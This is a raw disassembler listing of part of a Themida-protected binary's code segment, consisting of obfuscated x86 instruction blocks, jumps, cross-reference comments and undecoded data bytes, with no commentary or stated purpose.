		add	eax, 513B40DCh
		push	ebp
		mov	ebp, 577059C7h
		jmp	loc_5145C5
; ---------------------------------------------------------------------------

loc_50AF21:				; CODE XREF: Themida_:00500A10j
		add	ecx, 4
		jmp	loc_50DAA3
; ---------------------------------------------------------------------------
aRsA		db 'Rʝ',0
		align 2

loc_50AF32:				; CODE XREF: Themida_:00506B3Ej
		push	edi
		push	643656C1h
		pop	edi
		jmp	loc_50F4E3
; ---------------------------------------------------------------------------

loc_50AF3E:				; CODE XREF: Themida_:005118BEj
		add	edx, 0CC05BA3h
		add	edx, esi
		sub	edx, 0CC05BA3h
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		push	ebp
		mov	ebp, 0A710560h
		mov	ecx, 0F58EFAA4h
		add	ecx, ebp
		pop	ebp
		add	edx, ecx
		pop	ecx
		push	edx
		jmp	loc_50D453
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 2F146425h, 2FAEB81h,	0C381520Eh, 6A98509Fh, 0FFB775E9h
		dd 4EC81FFh, 89000000h,	0C6E9242Ch
		db 9Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_50AF8F:				; CODE XREF: Themida_:005029C4j
		xor	ebx, 652062BCh
		sub	ebx, 0A9EC819h
		push	edi
		mov	edi, ebx
		jmp	loc_51096E
; ---------------------------------------------------------------------------

loc_50AFA3:				; CODE XREF: Themida_:0050144Fj
		xor	edx, 205F5FC4h
		add	esi, edx
		push	dword ptr [esp]
		pop	edx
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_50C498
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 5
		dd 4, 42Dh, 4FF1E900h, 815F0000h, 4C4h,	0FF595600h, 815E2434h
		dd 4C4h, 1C4F2100h, 1BE7E9h, 7FC68100h,	899DAF9Ch, 57515EF2h
		dd 23A57BFh, 0DEF78166h, 89038644h, 0E9C15FF9h,	62C18103h
		dd 0E939268Bh, 5F5Fh
; ---------------------------------------------------------------------------

loc_50B014:				; CODE XREF: Themida_:005021C9j
		push	edx
		mov	edx, 504E582Ch
		sub	edx, 1331716h
		xor	ebx, edx
		pop	edx
		push	ecx
		mov	ecx, 1EE66C10h
		and	ecx, 3083627Bh
		jmp	loc_50D58E
; ---------------------------------------------------------------------------

loc_50B034:				; CODE XREF: Themida_:00501CC7j
		push	edi
		jmp	loc_5036EF
; ---------------------------------------------------------------------------

loc_50B03A:				; CODE XREF: Themida_:00507A9Dj
		add	esp, 4
		mov	edx, edi
		pop	edi

loc_50B040:				; CODE XREF: Themida_:loc_505E23j
					; Themida_:005106C2j
		push	25E1h
		mov	[esp], ebx
		jmp	loc_500DFA
; ---------------------------------------------------------------------------

loc_50B04D:				; CODE XREF: Themida_:00514D8Cj
		shr	eax, 0Bh
		xor	ecx, eax
		jmp	loc_505FFD
; ---------------------------------------------------------------------------

loc_50B057:				; CODE XREF: Themida_:0050984Fj
		or	esi, 7DD31AEDh
		not	esi
		inc	esi
		dec	esi
		jmp	loc_50C9DA
; ---------------------------------------------------------------------------
		dw 0FE29h
a_xhkj		db '_XhJ',0
		dw 8900h
		dd 0BB532404h, 37687C15h, 8143D3F7h, 9783E9EBh,	0B979E9C8h
		dd 0E281FFFFh, 0C821F41h, 6FDEA81h, 0D0010482h,	4C0835Ah
		dd 8B240487h, 0FF552424h, 5D042474h, 5C24048Fh,	4BB0F66h
		dd 63E99C24h, 89FFFF47h, 5E542434h, 706FE9h, 4C48300h
		dd 360668h, 7F2EE900h, 14890000h, 6EE66824h, 24890000h
		dd 24048324h, 24148B04h, 81E18951h, 4C1h, 4C18300h, 3E5E9h
		db 0
; ---------------------------------------------------------------------------

loc_50B0ED:				; CODE XREF: Themida_:0051064Dj
		add	ecx, edx
		mov	edx, [esp]
		jmp	loc_503E45
; ---------------------------------------------------------------------------
		db 0BFh
		dd 4C1C539Fh, 7664F781h, 89E91E37h, 68000022h, 20067990h
		dd 45E98759h, 57E9E987h, 81FFFFAFh, 4C7h, 4EF8100h, 87000000h
		dd 895C243Ch, 29BB241Ch, 527FC957h, 1FE9DA89h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_50B137:				; CODE XREF: Themida_:00511458j
		jz	loc_510D37
		push	eax
		mov	eax, 27090002h
		mov	dword ptr [edi+20h], 27090002h
		xor	[edi+20h], eax
		push	dword ptr [esp]
		pop	eax
		push	ebx
		mov	ebx, esp
		push	edx
		push	ecx
		jmp	loc_507709
; ---------------------------------------------------------------------------
		db 87h
		dd 0E95C240Ch, 0FFFF9B9Fh
; ---------------------------------------------------------------------------

loc_50B164:				; CODE XREF: Themida_:005104F3j
		mov	ecx, 75270CAh
		sub	[esp+8], ecx
		mov	ecx, [esp]
		add	esp, 4
		add	[esp+4], eax
		add	dword ptr [esp+4], 75270CAh
		pop	eax
		pop	dword ptr [edi+24h]
		jmp	loc_514A89
; ---------------------------------------------------------------------------

loc_50B18B:				; CODE XREF: Themida_:00505EC1j
		push	35D3h
		mov	[esp], eax
		push	6BBAh
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_508ADB
; ---------------------------------------------------------------------------

loc_50B1A7:				; CODE XREF: Themida_:00509635j
		mov	edx, 715B31D9h
		sub	edx, 0FFFFFFFFh
		xor	edx, 4BC00854h
		push	ecx
		mov	ecx, 2AD71506h
		xor	ecx, 0E304B5E0h
		xor	edx, ecx
		pop	ecx
		xor	edi, edx
		pop	edx
		add	ebx, 1A5F14E3h
		jmp	loc_505815
; ---------------------------------------------------------------------------
		dw 875Fh
		dd 248B2414h, 705FE924h, 0EDC10000h, 1DCBE903h,	1C8B0000h
		dd 4C48324h, 51BEC581h,	0F501284Dh, 51BEED81h, 0C581284Dh
		dd 65707730h, 0FF693CE9h, 87C680FFh, 441EE80h, 0AF95E9BFh
		dd 481FFFFh, 0A76C2824h, 243C2977h, 28242C81h, 5F77A76Ch
		dd 0FF8A82E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50B229:				; CODE XREF: Themida_:0050F5A9j
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		sub	[esp+4], edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_50210F
; ---------------------------------------------------------------------------
aNh		db 'h/',0
		dd 47D4E900h, 0E95EFFFFh, 0FFFFDC65h, 8B24048Fh, 4082424h
		dd 0B7E99C24h, 81FFFF45h, 840DD7EBh, 0E9FB013Dh, 0FFFF678Eh
		dd 239CEA81h, 0F2012CF7h, 239CC281h, 525E2CF7h,	42474FFh
		dd 0FF2434FFh, 815A2434h, 4C4h,	4C48100h, 8F000000h, 248B2404h
		dd 2424D324h, 4574E99Ch, 0C681FFFFh, 4,	5C243487h, 0FF8CCBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50B2B1:				; CODE XREF: Themida_:005024D5j
		add	ebp, 1
		jmp	loc_503EB1
; ---------------------------------------------------------------------------

loc_50B2BC:				; CODE XREF: Themida_:0050640Fj
		sub	edi, ecx
		add	edi, 11175D5Ah
		jmp	loc_513F7E
; ---------------------------------------------------------------------------

loc_50B2C9:				; CODE XREF: Themida_:004FFE73j
		jmp	loc_510D37
; ---------------------------------------------------------------------------
		dw 0F129h
		dd 0FFC4FFE9h, 54525AFFh, 0FFC8EEE9h, 3C8B5BFFh, 4EC8124h
		dd 89000000h, 0E2892414h, 4C281h, 0C2830000h, 24143304h
		dd 33241431h, 685C2414h, 6358h,	0FF243489h, 0FF042474h
		dd 0E95E2434h, 0FFFFC8ACh
; ---------------------------------------------------------------------------

loc_50B314:				; CODE XREF: Themida_:005067B3j
		or	eax, edx
		pop	edx
		xor	eax, 7FBBF577h
		mov	esi, eax
		pop	eax
		jmp	loc_5107C5
; ---------------------------------------------------------------------------

loc_50B324:				; CODE XREF: Themida_:00503791j
		pop	esi
		jmp	loc_50CD59
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0B8505504h, 293E4A54h, 4D58C589h, 0B5B1C581h, 0EB01D6C1h
		dd 502EE9h
		db 0
; ---------------------------------------------------------------------------

loc_50B345:				; CODE XREF: Themida_:00506331j
		pop	ecx
		push	6249h
		mov	[esp], ebp
		push	ecx
		jmp	loc_504773
; ---------------------------------------------------------------------------
		dd 143B68h, 24248900h, 4240483h, 592434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_50585B
; ---------------------------------------------------------------------------

loc_50B372:				; CODE XREF: Themida_:00500533j
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ebx
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		push	eax
		mov	eax, 375E5526h
		jmp	loc_5076AA
; ---------------------------------------------------------------------------
		dd 24048F54h, 4EC81h, 34890000h, 4BE24h, 6C810000h, 14C0424h
		dd 7401443Ch, 44810424h, 14C0424h, 34FF443Ch, 0CAE95E24h
		dd 1FFFFB0h, 9390E9C7h,	0C5680000h, 8900005Ch, 8B54242Ch
		dd 0C481242Ch, 4, 4C581h, 0ED810000h, 4, 0E9242C87h, 0FFFF48BAh
; ---------------------------------------------------------------------------

loc_50B3F4:				; CODE XREF: Themida_:0050755Ej
		pop	ecx
		sub	bl, 7Fh
		pop	ecx
		movzx	eax, al
		push	small 6F97h
		mov	[esp], ax
		jmp	loc_4FF816
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 0E9h
		dd 0F61h, 46BDBE56h, 0C681465Bh, 0DB18E4A9h, 0BA5EF089h
		dd 490776F3h, 0ABE9C231h
		db 7Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50B42B:				; CODE XREF: Themida_:0050E11Fj
		push	ebx
		mov	ebx, 1B2002h
		sub	ebx, 696743D9h
		xchg	ebp, ebx
		not	ebp
		xchg	ebp, ebx
		add	ebx, 0F48707ABh
		or	ebp, ebx
		pop	ebx
		jmp	loc_50DD45
; ---------------------------------------------------------------------------

loc_50B44B:				; CODE XREF: Themida_:0050D96Aj
		mov	bh, 98h
		sub	bh, ch
		pop	ecx
		add	cl, bh
		pop	bx
		add	cl, 0CAh
		push	cx
		mov	cl, 2Dh
		add	dl, 0A4h
		sub	dl, cl
		jmp	loc_50F366
; ---------------------------------------------------------------------------

loc_50B465:				; CODE XREF: Themida_:0050838Cj
		mov	[esp], edi
		xchg	ecx, [esp]
		jmp	loc_5117E1
; ---------------------------------------------------------------------------
		dd 499EC381h, 0CFE945C1h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_50B47B:				; CODE XREF: Themida_:0051334Ej
		sub	esp, 4
		jmp	loc_503553
; ---------------------------------------------------------------------------

loc_50B486:				; CODE XREF: Themida_:00507083j
		pop	esi
		jmp	loc_5117C4
; ---------------------------------------------------------------------------
		dd 24048F5Bh, 5724248Bh, 0F0052DBFh, 2FF78139h,	139F005h
		dd 34335FFEh, 24343124h, 0E9243433h, 0FFFF53BDh, 0F0285966h
		dd 0E9520104h, 0FFFF6AB7h, 241C895Ch, 4BBh, 44EF8100h
		dd 171342Ah, 5275E9DFh,	0C87FFFFh, 0BB535C24h, 4, 535BDA01h
		dd 4BBh, 101E900h, 0EC830000h, 293DE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50B4F2:				; CODE XREF: Themida_:00504F53j
		push	dword ptr [esp+4]
		jmp	loc_509767
; ---------------------------------------------------------------------------
		db 1
		dd 0B85059CFh, 169F2D47h, 0A202E405h, 0DD8FE91Bh, 70BAFFFFh
		dd 0E9380F61h, 0FFFF775Bh
; ---------------------------------------------------------------------------

loc_50B518:				; CODE XREF: Themida_:005119ACj
		neg	edi
		jmp	loc_50F5F8
; ---------------------------------------------------------------------------
		db 89h
		dd 0BE68242Ch, 5D09544Eh, 1344C581h, 0B4E94945h, 0FE000084h
		dd 2E7C0C7h, 2F8E9h, 80D5F600h,	1FE90EE5h, 29FFFFC5h, 5BDF89FBh
		dd 0F781D7F7h, 1E533CF7h, 0FF9CB8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50B559:				; CODE XREF: Themida_:00504834j
		sub	al, dh
		jmp	loc_4FFEDB
; ---------------------------------------------------------------------------
		dd 8BDE8966h, 0C481241Ch, 4, 0FFBB35E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50B571:				; CODE XREF: Themida_:00501A84j
		xor	eax, ecx
		push	30F3h
		mov	[esp], eax
		xchg	edx, [esp]
		push	edx
		push	795Fh
		jmp	loc_500CEC
; ---------------------------------------------------------------------------

loc_50B589:				; CODE XREF: Themida_:00507247j
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_50620C
; ---------------------------------------------------------------------------
		dd 0F402DE68h, 0C5815D49h, 60D109ABh, 15D5F55h,	0C2815FFAh
		dd 77963373h, 1D32F281h, 0F281567Ch, 0C8B6B25Ah, 0FF6E21E9h
		dd 5BDE01FFh, 3856E9h, 0D831AD00h, 4EC81h, 1C890000h, 2E026824h
		dd 0C890000h, 0E548E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50B5DE:				; CODE XREF: Themida_:00507EBCj
		mov	eax, 505B1341h
		shr	eax, 2
		jmp	loc_5121EE
; ---------------------------------------------------------------------------
		db 1
		dd 7694E9DAh, 248BFFFFh, 243C8924h, 0FFF495E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50B5FD:				; CODE XREF: Themida_:0050A7C7j
		or	ebx, 79A34EB5h
		jmp	loc_50BAA7
; ---------------------------------------------------------------------------

loc_50B608:				; CODE XREF: Themida_:00507BBBj
		push	ecx
		jmp	loc_50F6E5
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0E9C33104h, 0FFFFC3E5h
; ---------------------------------------------------------------------------

loc_50B618:				; CODE XREF: Themida_:0051177Cj
		pop	edx
		add	edx, 4
		push	edi
		mov	edi, 4
		sub	edx, edi
		pop	edi
		xchg	edx, [esp]
		jmp	loc_50A7FC
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 56582434h, 0C681E689h, 4, 8704C683h, 685C2434h
		dd 183Dh, 8026E9h, 4B1AB800h, 98E96507h, 0FFFFFFC2h, 5D042474h
		dd 5C24048Fh, 72E368h, 240C8900h, 0C1815954h, 4, 4BB53h
		dd 0D9290000h, 0FFC9ADE9h, 0F7D187FFh, 68D187D2h, 4756h
		dd 0BE243489h, 734E07DDh, 0FFDB67E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50B699:				; CODE XREF: Themida_:00508D10j
		mov	cl, 8Dh
		sub	cl, 1Bh
		sub	cl, bh
		add	cl, 1Bh
		pop	ebx
		push	edx
		mov	dh, cl
		not	dh
		sub	esp, 4
		jmp	loc_50621C
; ---------------------------------------------------------------------------

loc_50B6B1:				; CODE XREF: Themida_:005049D7j
		sub	esi, edi
		add	esi, 426F049Fh
		jmp	loc_5026E9
; ---------------------------------------------------------------------------
		dw 0D828h
		dd 51668C04h, 0E9524FB1h, 1B5Ah, 895D2FB9h, 0BFF18133h
		dd 0E9266B05h, 11EFh, 2474FF52h, 48F5A04h, 58665C24h, 2889C380h
		dd 89EB80C3h, 0F3DEB80h, 48FC0B6h, 4118E987h, 1C8BFFFFh
		dd 3727E924h, 3C870000h, 0D77CE924h, 0E689FFFFh, 4C681h
		dd 0E9500000h, 7C10h, 243C8B54h, 8104C483h, 4C7h, 10685000h
		dd 8900002Dh, 0B9512434h, 7D6C0679h, 992FE951h,	285AFFFFh
		db 0F0h, 2Ch, 79h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_50AD7E
; ---------------------------------------------------------------------------

loc_50B74B:				; CODE XREF: Themida_:005034D3j
		inc	ebx
		xor	ebx, 0AA043B5h
		add	ebx, 90584C23h
		sub	ebp, ebx
		jmp	loc_507E44
; ---------------------------------------------------------------------------

loc_50B75F:				; CODE XREF: Themida_:0050DFB8j
		xchg	ebp, ebx
		push	7A78h
		mov	[esp], ebp
		mov	ebp, 3CF44DE0h
		jmp	loc_5017A7
; ---------------------------------------------------------------------------
		db 8Fh
		dd 38E92404h, 81FFFFDEh, 277CA3EBh, 240C8B5Bh, 4C481h
		dd 37E90000h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50B78F:				; CODE XREF: Themida_:0050DE86j
		pop	ebx
		push	edx
		push	ax
		mov	ah, 4Bh
		mov	dl, ah
		mov	ax, [esp]
		jmp	loc_506635
; ---------------------------------------------------------------------------
		dd 33241C31h, 545C241Ch, 8124048Fh, 42404h, 3C8B0000h
		dd 46BEE924h, 0D5F6FFFFh, 114CE9h, 0CEE95100h
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50B7C7:				; CODE XREF: Themida_:0050193Fj
		push	edx
		push	38CE0B35h
		pop	edx
		sub	edx, 0EAD71D5h
		xor	edx, 6AF5E1B4h
		mov	ebp, edx
		pop	edx
		jmp	loc_507EBB
; ---------------------------------------------------------------------------
		dw 525Fh
		dd 4BAh, 5AD52900h, 8B242C87h, 1C892424h, 68D38824h, 0C58h
		dd 88240489h, 78D8E9D8h, 6656FFFFh, 6623FEBEh, 63E9D6F7h
		dd 17h,	39E953D8h, 81000012h, 4C1h, 4C18100h, 87000000h
		dd 685C240Ch, 41BBh, 0FF70BDE9h, 7CEF80FFh, 0FDF780h, 84E95BF8h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50B843:				; CODE XREF: Themida_:0050E9E2j
		add	eax, ebx
		pop	ebx
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		or	ecx, ecx
		jz	loc_50D933
		push	edx
		mov	edx, esp
		add	edx, 4
		push	edi
		mov	edi, 4
		sub	edx, edi
		pop	edi
		xchg	edx, [esp]
		jmp	loc_51430E
; ---------------------------------------------------------------------------

loc_50B875:				; CODE XREF: Themida_:0050A994j
		pop	esi
		sub	edi, 2C153014h
		sub	edi, 0BB467C1h
		add	edi, ebx
		add	edi, 0BB467C1h
		push	0CD7h
		mov	[esp], ebx
		jmp	loc_50239E
; ---------------------------------------------------------------------------
		db 5Ah
		dd 16B5C1BBh, 59CB2959h, 6B4D68h, 24148900h, 0DC3947BAh
		dd 24542912h, 5C295A08h, 44810424h, 39470424h, 8B5B12DCh
		dd 0C4812414h, 4, 4EC8350h, 0BF243C89h,	21296589h, 13B268h
		dd 24148900h, 0EAE9FA89h, 5BFFFF8Ch, 7A98055Fh,	42052230h
		dd 166B107h, 7422DD8h, 0C46866B1h, 0E9000078h, 0FFFFC9E6h
; ---------------------------------------------------------------------------

loc_50B900:				; CODE XREF: Themida_:0050AEC3j
		mov	edx, [esp]
		add	esp, 4
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		push	2CF0h
		mov	[esp], esi
		jmp	loc_50F8C7
; ---------------------------------------------------------------------------

loc_50B91F:				; CODE XREF: Themida_:00511510j
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_5114FC
; ---------------------------------------------------------------------------
aAiSib		db 'b',0
		align 4
		dd 592434FFh, 3304C483h, 1C31241Ch, 241C3324h, 6624248Bh
		dd 9C240421h, 0FF3EC1E9h, 6B968FFh, 34890000h, 0ABF5724h
		dd 815EE364h, 500566C7h, 0ECEF8102h, 0C11BB62Bh, 0EF8103E7h
		dd 0BCC0A7C9h, 3C8BFE89h, 4C48324h, 0BBADC681h,	5A5690D6h
		dd 0FFB397E9h, 88F488FFh, 5876E9E5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50B996:				; CODE XREF: Themida_:0050643Aj
		pop	ebx
		add	ebx, 598D1229h
		add	ebx, ecx
		jmp	loc_5099DB
; ---------------------------------------------------------------------------
		dd 8324148Bh, 0C3304C4h, 240C3124h, 5C240C33h, 53240C89h
		dd 0F467D168h, 324E924h, 0E9530000h, 0FFFFD553h, 88241489h
		dd 0E9F588DEh, 5046h
; ---------------------------------------------------------------------------

loc_50B9D4:				; CODE XREF: Themida_:0050F4E9j
		add	edi, 0C257969Bh
		mov	ebx, edi
		mov	edi, [esp]
		jmp	loc_500F64
; ---------------------------------------------------------------------------

loc_50B9E4:				; CODE XREF: Themida_:005074B2j
		mov	[esp], ecx
		push	eax
		mov	eax, 7355ADAh
		mov	ecx, 7355AD8h
		xor	ecx, eax
		pop	eax
		jmp	loc_501454
; ---------------------------------------------------------------------------
		dw 0D801h
		dd 4EC81h, 0FCE90000h, 66FFFF44h, 0E924048Bh, 55A1h
; ---------------------------------------------------------------------------

loc_50BA10:				; CODE XREF: Themida_:0050833Cj
		sub	ebp, 0FB70CC9h
		push	edx
		mov	edx, 2C1E1625h
		jmp	loc_503D7B
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 81h
		dd 4C1h, 4C18100h, 87000000h, 248B240Ch, 0C8A1E924h, 0EE81FFFFh
		dd 73806308h, 9FE9C601h
		db 0ABh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50BA47:				; CODE XREF: Themida_:005016D3j
		xchg	ebp, [esp]
		jmp	loc_50BD4F
; ---------------------------------------------------------------------------
		db 59h
		dd 0FF9F87E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50BA55:				; CODE XREF: Themida_:0050BF0Fj
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		jmp	loc_50CC69
; ---------------------------------------------------------------------------

loc_50BA62:				; CODE XREF: Themida_:005096F9j
		push	347F46C5h
		pop	edx
		push	ebx
		mov	ebx, 4A673EC7h
		or	edx, ebx
		pop	ebx
		sub	edx, 2F9C7066h
		mov	ebp, edx
		jmp	loc_5017B1
; ---------------------------------------------------------------------------
		dw 875Dh
		dd 0FBE9241Ch
		db 56h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50BA87:				; CODE XREF: Themida_:005102D1j
		sub	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_50960B
; ---------------------------------------------------------------------------

loc_50BA94:				; CODE XREF: Themida_:00512349j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		jmp	loc_502791
; ---------------------------------------------------------------------------

loc_50BAA7:				; CODE XREF: Themida_:0050B603j
		neg	ebx
		jmp	loc_50F4C1
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 5DD7475Eh, 0E958C301h, 0FFFF96D9h, 76DCC581h, 3AE940F6h
		dd 8BFFFF42h, 0BCE9242Ch
		db 7Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_50BACF:				; CODE XREF: Themida_:00509FCAj
		push	eax
		mov	eax, 4
		mov	ebp, eax
		pop	eax
		jmp	loc_504449
; ---------------------------------------------------------------------------

loc_50BADD:				; CODE XREF: Themida_:00508EF7j
		pop	esp
		jmp	loc_50FE8F
; ---------------------------------------------------------------------------

loc_50BAE3:				; CODE XREF: Themida_:0050E0AAj
		mov	edi, esi
		mov	eax, edi
		mov	edi, [esp]
		jmp	loc_509CDB
; ---------------------------------------------------------------------------
		db 89h
		dd 24E9242Ch, 80FFFFD3h, 5FE9CCEEh
		db 85h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50BAFF:				; CODE XREF: Themida_:005020A4j
		not	dword ptr [esp]
		pop	esi
		shl	esi, 2
		push	ebx
		jmp	loc_504902
; ---------------------------------------------------------------------------
		dd 815AD589h, 7D5031F5h, 4C70E94Ch, 348BFFFFh, 4C48124h
		dd 5F000000h, 2474FF53h, 7B38E904h, 89520000h, 4C281E2h
		dd 53000000h, 4BBh, 0E9DA2900h,	5215h
; ---------------------------------------------------------------------------

loc_50BB44:				; CODE XREF: Themida_:0050F1A8j
		xor	esi, eax
		mov	eax, [esp]
		add	esp, 4
		dec	esi
		shl	esi, 3
		jmp	loc_50C2B1
; ---------------------------------------------------------------------------
aWsd		db '\Wd"',0
		db 0
; ---------------------------------------------------------------------------

loc_50BB5F:				; CODE XREF: Themida_:00507663j
		sub	esp, 4
		jmp	loc_505C35
; ---------------------------------------------------------------------------

loc_50BB67:				; CODE XREF: Themida_:0050856Cj
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_4FF816
; ---------------------------------------------------------------------------

loc_50BB73:				; CODE XREF: Themida_:00503D76j
		add	ecx, 4
		add	ecx, 4
		push	7CD0h
		mov	[esp], ecx
		jmp	loc_50A9EA
; ---------------------------------------------------------------------------

loc_50BB8C:				; CODE XREF: Themida_:00504B41j
		add	esi, ecx
		jmp	loc_5076CA
; ---------------------------------------------------------------------------
		db 52h
		dd 0FC3C0468h, 814A5A44h, 0B70EF8E2h, 4E2C10Ah,	0FCB2F281h
		dd 0D3895180h, 8324148Bh, 0D80104C4h, 0FF4752E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50BBB9:				; CODE XREF: Themida_:0050671Ej
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_5129F7
; ---------------------------------------------------------------------------

loc_50BBCC:				; CODE XREF: Themida_:0050E1F6j
		push	0C9241C5h
		push	dword ptr [esp]
		pop	esi
		jmp	loc_51233B
; ---------------------------------------------------------------------------
		dw 0EA83h
		dd 24148704h, 240C895Ch, 42474FFh, 0FF2434FFh, 83592434h
		dd 0C48104C4h, 4, 8B24048Fh, 4302424h, 0E7E99C24h
		db 74h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50BC07:				; CODE XREF: Themida_:00500B2Dj
		xor	ebp, edi
		jmp	loc_50BFDD
; ---------------------------------------------------------------------------
aBIMbsktzsso	db 'I#',1Bh,'mtS',0Bh,0
		dw 8300h
		dd 87E902C4h
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50BC27:				; CODE XREF: Themida_:0050CCE3j
		sub	[esp], edi
		pop	edi
		push	edx
		mov	edx, 318C7AC2h
		xor	edi, edx
		pop	edx
		sub	edi, 0BFDB3B6h
		jmp	loc_50C773
; ---------------------------------------------------------------------------
		db 83h
		dd 686602C4h, 8966590Fh, 0EC81240Ch, 2,	0FF41FFE9h, 240487FFh
		dd 0FF6997E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50BC5D:				; CODE XREF: Themida_:0050EF7Fj
		add	ebp, ebx
		push	ecx
		mov	ecx, 72114CB7h
		and	ecx, 7B6C5509h
		neg	ecx
		xor	ecx, 0CBE7EB02h
		add	ebp, ecx
		pop	ecx
		pop	ebx
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5128B0
; ---------------------------------------------------------------------------

loc_50BC85:				; CODE XREF: Themida_:005010D4j
		xor	edi, 401E09A5h
		mov	esi, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_50284D
; ---------------------------------------------------------------------------
		dw 1C33h
		dd 0D3665C24h, 0E99C243Ch, 0FFFF3B72h
; ---------------------------------------------------------------------------

loc_50BCA4:				; CODE XREF: Themida_:0050BD38j
		shr	edi, 8
		sub	edi, 0A62E70FCh
		mov	esi, edi
		mov	edi, [esp]
		add	esp, 4
		push	4CE5h
		mov	[esp], edi
		mov	edi, 523114C3h
		sub	edi, 0D96ADC45h
		jmp	loc_502A5D
; ---------------------------------------------------------------------------

loc_50BCCD:				; CODE XREF: Themida_:00512B44j
		add	edx, edi
		pop	edi
		xchg	edx, [esp]
		pop	esp
		push	6FB0h
		mov	[esp], ecx
		mov	ecx, 72B509F1h
		jmp	loc_504B1C
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 0B9C2BC3h, 5BD989DBh, 4C95BE56h, 0E6C10190h,	6A48E908h
		dd 0E95A0000h, 0FFFF473Dh, 875BDD01h, 0AEE9242Ch, 53FFFFD0h
		dd 304C0BBh, 5BDA2926h,	5553C229h, 186E8E68h, 0CD815D7Fh
		dd 66261729h, 3C44E9h, 80BDB300h, 65E95ECBh
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_50BD37:				; CODE XREF: Themida_:005026DBj
		dec	edi
		jmp	loc_50BCA4
; ---------------------------------------------------------------------------
aROSvFzSdh	db '(^V+F(H',0
		db 0
; ---------------------------------------------------------------------------

loc_50BD4F:				; CODE XREF: Themida_:0050BA4Aj
		pop	esp
		push	esi
		push	ecx
		jmp	loc_502A20
; ---------------------------------------------------------------------------
		db 31h
		dd 74E959CEh, 8BFFFF93h, 0A1E92424h
		db 99h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50BD67:				; CODE XREF: Themida_:0050DF06j
		sub	eax, 6AE462E7h
		sub	edi, 9726D0Dh
		sub	edi, eax
		add	edi, 9726D0Dh
		mov	eax, [esp]
		jmp	loc_5039EC
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0C5B85004h, 56382E64h, 7E1D96BEh, 5FEE8143h,	466BEF04h
		dd 6F15F681h, 0F029C1BAh, 4E8C15Eh, 0DE0DD8F7h,	0E9275907h
		dd 1F86h, 72E4BA52h, 0D089198Ah, 6DF3E9h
		db 0
; ---------------------------------------------------------------------------

loc_50BDBD:				; CODE XREF: Themida_:00503E40j
		pop	eax
		jmp	loc_50F27A
; ---------------------------------------------------------------------------

loc_50BDC3:				; CODE XREF: Themida_:0050A264j
		xchg	edi, [esp]
		jmp	loc_506ED1
; ---------------------------------------------------------------------------

loc_50BDCB:				; CODE XREF: Themida_:005099D6j
		add	[ebx], ebp
		pop	ebx
		mov	eax, [esp]
		jmp	loc_5028D2
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 14A42773h, 0F45BF57h, 80E91B7Fh, 25FFFFA4h, 1D196F31h
		dd 0E9BBD55h, 0E5C17C27h, 53DDF707h, 0DE8488BBh, 8BDD01F6h
		dd 8957241Ch, 4C781E7h,	83000000h, 3C8704C7h, 9C25E924h
